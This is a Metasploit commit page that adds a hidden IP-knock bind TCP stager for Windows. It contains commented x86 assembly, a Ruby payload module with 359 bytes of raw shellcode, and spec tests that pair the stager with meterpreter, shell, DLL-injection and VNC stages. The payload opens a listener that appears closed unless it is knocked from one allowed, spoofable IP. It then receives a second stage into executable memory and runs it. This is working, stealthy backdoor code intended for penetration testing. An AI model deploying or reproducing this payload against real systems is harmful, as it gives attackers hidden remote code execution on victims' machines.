Skip to content

Commit 01daadc

Browse files
committed
Land rapid7#4470, bind_hidden_ipknock_tcp stager
2 parents 655cfdd + 9791acd commit 01daadc

File tree

4 files changed

+271
-0
lines changed

4 files changed

+271
-0
lines changed
Lines changed: 99 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,99 @@
1+
;-----------------------------------------------------------------------------;
2+
; Original Shellcode: Stephen Fewer ([email protected])
3+
; Modified version to add hidden ipknock bind shell support: Borja Merino ([email protected])
4+
; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
5+
; Version: 1.0 (December 2014)
6+
;-----------------------------------------------------------------------------;
7+
[BITS 32]
8+
9+
; Input: EBP must be the address of 'api_call'.
10+
; Output: EDI will be the newly connected clients socket
11+
; Clobbers: EAX, EBX, ESI, EDI, ESP will also be modified (-0x1A0)
12+
13+
bind_tcp:
14+
push 0x00003233 ; Push the bytes 'ws2_32',0,0 onto the stack.
15+
push 0x5F327377 ; ...
16+
push esp ; Push a pointer to the "ws2_32" string on the stack.
17+
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
18+
call ebp ; LoadLibraryA( "ws2_32" )
19+
20+
mov eax, 0x0190 ; EAX = sizeof( struct WSAData )
21+
sub esp, eax ; alloc some space for the WSAData structure
22+
push esp ; push a pointer to this stuct
23+
push eax ; push the wVersionRequested parameter
24+
push 0x006B8029 ; hash( "ws2_32.dll", "WSAStartup" )
25+
call ebp ; WSAStartup( 0x0190, &WSAData );
26+
27+
push eax ; if we succeed, eax wil be zero, push zero for the flags param.
28+
push eax ; push null for reserved parameter
29+
push eax ; we do not specify a WSAPROTOCOL_INFO structure
30+
push eax ; we do not specify a protocol
31+
inc eax ;
32+
push eax ; push SOCK_STREAM
33+
inc eax ;
34+
push eax ; push AF_INET
35+
push 0xE0DF0FEA ; hash( "ws2_32.dll", "WSASocketA" )
36+
call ebp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );
37+
xchg edi, eax ; save the socket for later, don't care about the value of eax after this
38+
39+
xor ebx, ebx ; Clear EBX
40+
push ebx ; bind to 0.0.0.0
41+
push 0x5C110002 ; family AF_INET and port 4444
42+
mov esi, esp ; save a pointer to sockaddr_in struct
43+
push byte 16 ; length of the sockaddr_in struct (we only set the first 8 bytes as the last 8 are unused)
44+
push esi ; pointer to the sockaddr_in struct
45+
push edi ; socket
46+
push 0x6737DBC2 ; hash( "ws2_32.dll", "bind" )
47+
call ebp ; bind( s, &sockaddr_in, 16 );
48+
49+
; Hidden ipknock Support ----------
50+
51+
push 0x1 ; size, in bytes, of the buffer pointed to by the "optval" parameter
52+
push esp ; optval: pointer to the buffer in which the value for the requested option is specified
53+
push 0x3002 ; level at which the option is defined: SOL_SOCKET
54+
push 0xFFFF ; the socket option for which the value is to be set: SO_CONDITIONAL_ACCEPT
55+
push edi ; socket descriptor
56+
push 0x2977A2F1 ; hash( "ws2_32.dll", "setsockopt" )
57+
call ebp ; setsockopt(s, SOL_SOCKET, SO_CONDITIONAL_ACCEPT, &bOptVal, 1 );
58+
59+
push ebx ; backlog
60+
push edi ; socket
61+
push 0xFF38E9B7 ; hash( "ws2_32.dll", "listen" )
62+
call ebp ; listen( s, 0 );
63+
condition:
64+
push ebx ; dwCallbackData (ebx = 0, no data needed for the condition function)
65+
call wsaaccept ; push the start of the condition function on the stack
66+
mov eax, DWORD [esp+4] ;
67+
mov eax, DWORD [eax+4] ;
68+
mov eax, DWORD [eax+4] ; get the client IP returned in the stack
69+
sub eax, 0x2101A8C0 ; compare the client IP with the IP allowed
70+
jz equal ; if equal, eax = 0
71+
xor eax, eax
72+
inc eax ; if not equal, eax = 1
73+
equal:
74+
mov DWORD [ebp+84], eax ; save the value of eax out of the scope of the callback.
75+
; This value will be read it after calling WSAaccept since
76+
; WSAaccept would always return FFFFFFFF when the IP is spoofed
77+
retn 0x20 ; some stack alignment needed to return to mswsock
78+
79+
wsaaccept:
80+
push ebx ; length of the sockaddr = nul
81+
push ebx ; struct sockaddr = nul
82+
push edi ; socket descriptor
83+
push 0x33BEAC94 ; hash( "ws2_32.dll", "wsaaccept" )
84+
call ebp ; wsaaccept( s, 0, 0, &fnCondition, 0)
85+
cmp DWORD [esp+4], 0
86+
jnz condition ; Check if the IP knocked is allowed
87+
inc eax
88+
jnz connection ; Check if the 3-Way Handshake is successfully established
89+
push ebx ; dwCallbackData (ebx = 0, no data needed for the condition function)
90+
push ebx ; fnCondition = 0
91+
jmp wsaaccept
92+
jz condition ; if error (eax = -1) jump to condition function to wait for another connection
93+
94+
connection:
95+
dec eax ; restore eax
96+
push edi ; push the listening socket to close
97+
xchg edi, eax ; replace the listening socket with the new connected socket for further comms
98+
push 0x614D6E75 ; hash( "ws2_32.dll", "closesocket" )
99+
call ebp ; closesocket( s );
Lines changed: 20 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,20 @@
1+
;-----------------------------------------------------------------------------;
2+
; Authors: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
3+
; Borja Merino (bmerinofe[at]gmail[dot]com) [Hidden ACL support]]
4+
; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
5+
; Version: 1.0 (Dec 2014)
6+
; Size: 359 bytes
7+
; Build: >build.py stager_hidden_bind_tcp
8+
;-----------------------------------------------------------------------------;
9+
[BITS 32]
10+
[ORG 0]
11+
12+
cld ; Clear the direction flag.
13+
call start ; Call start, this pushes the address of 'api_call' onto the stack.
14+
%include "./src/block/block_api.asm"
15+
start: ;
16+
pop ebp ; pop off the address of 'api_call' for calling later.
17+
%include "./src/block/block_hidden_bind_ipknock.asm"
18+
; By here we will have performed the bind_tcp connection and EDI will be our socket.
19+
%include "./src/block/block_recv.asm"
20+
; By now we will have received in the second stage into a RWX buffer and be executing it
Lines changed: 82 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,82 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
7+
require 'msf/core'
8+
require 'msf/core/handler/bind_tcp'
9+
10+
11+
module Metasploit3
12+
13+
include Msf::Payload::Stager
14+
include Msf::Payload::Windows
15+
16+
17+
def self.handler_type_alias
18+
"bind_hidden_ipknock_tcp"
19+
end
20+
21+
def initialize(info = {})
22+
super(merge_info(info,
23+
'Name' => 'Hidden Bind Ipknock TCP Stager',
24+
'Description' => 'Listen for a connection. First, the port will need to be knocked from
25+
the IP defined in KHOST. This IP will work as an authentication method
26+
(you can spoof it with tools like hping). After that you could get your
27+
shellcode from any IP. The socket will appear as "closed" helping us to
28+
hide the shellcode',
29+
'Author' =>
30+
[
31+
'hdm', # original payload module (stager bind_tcp)
32+
'skape', # original payload module (stager bind_tcp)
33+
'sf', # original payload module (stager bind_tcp)
34+
'Borja Merino <bmerinofe[at]gmail.com>' # Add Hidden Ipknock functionality
35+
],
36+
'License' => MSF_LICENSE,
37+
'References' => ['URL', 'http://www.shelliscoming.com/2014/07/ip-knock-shellcode-spoofed-ip-as.html'],
38+
'Platform' => 'win',
39+
'Arch' => ARCH_X86,
40+
'Handler' => Msf::Handler::BindTcp,
41+
'Convention' => 'sockedi',
42+
'Stager' =>
43+
{
44+
'RequiresMidstager' => false,
45+
'Offsets' =>
46+
{
47+
'LPORT' => [ 193, 'n' ],
48+
'KHOST' => [ 255, 'ADDR' ]
49+
},
50+
'Payload' =>
51+
# Length: 359 bytes
52+
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30\x8b" +
53+
"\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\xac\x3c" +
54+
"\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52" +
55+
"\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20" +
56+
"\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31\xff\xac" +
57+
"\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75" +
58+
"\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3" +
59+
"\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff" +
60+
"\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68\x77" +
61+
"\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00" +
62+
"\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50\x40" +
63+
"\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x31\xdb\x53\x68\x02" +
64+
"\x00\x11\x5c\x89\xe6\x6a\x10\x56\x57\x68\xc2\xdb\x37\x67\xff\xd5" +
65+
"\x6a\x01\x54\x68\x02\x30\x00\x00\x68\xff\xff\x00\x00\x57\x68\xf1" +
66+
"\xa2\x77\x29\xff\xd5\x53\x57\x68\xb7\xe9\x38\xff\xff\xd5\x53\xe8" +
67+
"\x1a\x00\x00\x00\x8b\x44\x24\x04\x8b\x40\x04\x8b\x40\x04\x2d\xc0" +
68+
"\xa8\x01\x21\x74\x03\x31\xc0\x40\x89\x45\x54\xc2\x20\x00\x53\x53" +
69+
"\x57\x68\x94\xac\xbe\x33\xff\xd5\x83\x7c\x24\x04\x00\x75\xcf\x40" +
70+
"\x75\x06\x53\x53\xeb\xe8\x74\xc6\x48\x57\x97\x68\x75\x6e\x4d\x61" +
71+
"\xff\xd5\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x8b" +
72+
"\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5" +
73+
"\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5" +
74+
"\x01\xc3\x29\xc6\x75\xee\xc3"
75+
}
76+
))
77+
78+
register_options([
79+
OptAddress.new('KHOST', [true, "IP address allowed", nil])
80+
])
81+
end
82+
end

spec/modules/payloads_spec.rb

Lines changed: 70 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -3325,4 +3325,74 @@
33253325
modules_pathname: modules_pathname,
33263326
reference_name: 'windows/vncinject/bind_hidden_tcp'
33273327
end
3328+
3329+
context 'windows/dllinject/bind_hidden_ipknock_tcp' do
3330+
it_should_behave_like 'payload can be instantiated',
3331+
ancestor_reference_names: [
3332+
'stagers/windows/bind_hidden_ipknock_tcp',
3333+
'stages/windows/dllinject'
3334+
],
3335+
modules_pathname: modules_pathname,
3336+
reference_name: 'windows/dllinject/bind_hidden_ipknock_tcp'
3337+
end
3338+
3339+
context 'windows/meterpreter/bind_hidden_ipknock_tcp' do
3340+
it_should_behave_like 'payload can be instantiated',
3341+
ancestor_reference_names: [
3342+
'stagers/windows/bind_hidden_ipknock_tcp',
3343+
'stages/windows/meterpreter'
3344+
],
3345+
modules_pathname: modules_pathname,
3346+
reference_name: 'windows/meterpreter/bind_hidden_ipknock_tcp'
3347+
end
3348+
3349+
context 'windows/patchupdllinject/bind_hidden_ipknock_tcp' do
3350+
it_should_behave_like 'payload can be instantiated',
3351+
ancestor_reference_names: [
3352+
'stagers/windows/bind_hidden_ipknock_tcp',
3353+
'stages/windows/patchupdllinject'
3354+
],
3355+
modules_pathname: modules_pathname,
3356+
reference_name: 'windows/patchupdllinject/bind_hidden_ipknock_tcp'
3357+
end
3358+
3359+
context 'windows/patchupmeterpreter/bind_hidden_ipknock_tcp' do
3360+
it_should_behave_like 'payload can be instantiated',
3361+
ancestor_reference_names: [
3362+
'stagers/windows/bind_hidden_ipknock_tcp',
3363+
'stages/windows/patchupmeterpreter'
3364+
],
3365+
modules_pathname: modules_pathname,
3366+
reference_name: 'windows/patchupmeterpreter/bind_hidden_ipknock_tcp'
3367+
end
3368+
3369+
context 'windows/shell/bind_hidden_ipknock_tcp' do
3370+
it_should_behave_like 'payload can be instantiated',
3371+
ancestor_reference_names: [
3372+
'stagers/windows/bind_hidden_ipknock_tcp',
3373+
'stages/windows/shell'
3374+
],
3375+
modules_pathname: modules_pathname,
3376+
reference_name: 'windows/shell/bind_hidden_ipknock_tcp'
3377+
end
3378+
3379+
context 'windows/upexec/bind_hidden_ipknock_tcp' do
3380+
it_should_behave_like 'payload can be instantiated',
3381+
ancestor_reference_names: [
3382+
'stagers/windows/bind_hidden_ipknock_tcp',
3383+
'stages/windows/upexec'
3384+
],
3385+
modules_pathname: modules_pathname,
3386+
reference_name: 'windows/upexec/bind_hidden_ipknock_tcp'
3387+
end
3388+
3389+
context 'windows/vncinject/bind_hidden_ipknock_tcp' do
3390+
it_should_behave_like 'payload can be instantiated',
3391+
ancestor_reference_names: [
3392+
'stagers/windows/bind_hidden_ipknock_tcp',
3393+
'stages/windows/vncinject'
3394+
],
3395+
modules_pathname: modules_pathname,
3396+
reference_name: 'windows/vncinject/bind_hidden_ipknock_tcp'
3397+
end
33283398
end

0 commit comments

Comments
 (0)